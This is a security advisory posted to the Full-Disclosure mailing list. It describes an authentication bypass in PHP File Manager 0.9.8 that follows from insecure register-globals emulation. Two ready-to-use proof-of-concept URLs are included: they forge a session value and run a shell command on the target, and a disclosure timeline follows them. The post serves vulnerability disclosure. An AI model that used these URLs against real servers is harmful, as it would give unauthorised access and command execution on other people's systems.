full-disclosure - [FD] Authentication bypass in PHP File Manager 0.9.8

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Message-ID: <CAGs_nS7tQwX0skb7zNQOjJ7nj3s-5mGZ2Rzsr4yRPED-AxL0jg@mail.gmail.com>
Date: Mon, 25 Jan 2016 18:29:13 +0100
From: Imre Rad <imre.rad@...rch-lab.hu>
To: "fulldisclosure@...lists.org" <fulldisclosure@...lists.org>
Subject: [FD] Authentication bypass in PHP File Manager 0.9.8

PHP File Manager 0.9.8 (http://phpfm.sourceforge.net/) is vulnerable to
authentication bypass due to insecure implementation of register globals
emulation. An attacker is able to override the blockKeys array and thus
build a valid session and access all the protected functionality (including
execution of shell commands) without actual knowledge of the password set.

PoC URLs:

http://host/phpfm.php?blockKeys[]=&fm_self=FOOO&loggedon=d41d8cd98f00b204e9800998ecf8427e&action=5
http://host/phpfm.php?blockKeys[]=&fm_self=FOOO&loggedon=d41d8cd98f00b204e9800998ecf8427e&action=6&cmd=ls%20-la

Timeline:
2016-01-04: Original report to the developer
2016-01-04: CVE ID requested from MITRE
2016-01-11: Report resent to the developer
2016-01-18: Notification sent to the developer about disclosing the
vulnerability on 25th of January
2016-01-18: Disclosure

Imre Rad
Search-Lab Ltd.
http://www.search-lab.hu/
http://www.scademy.com/

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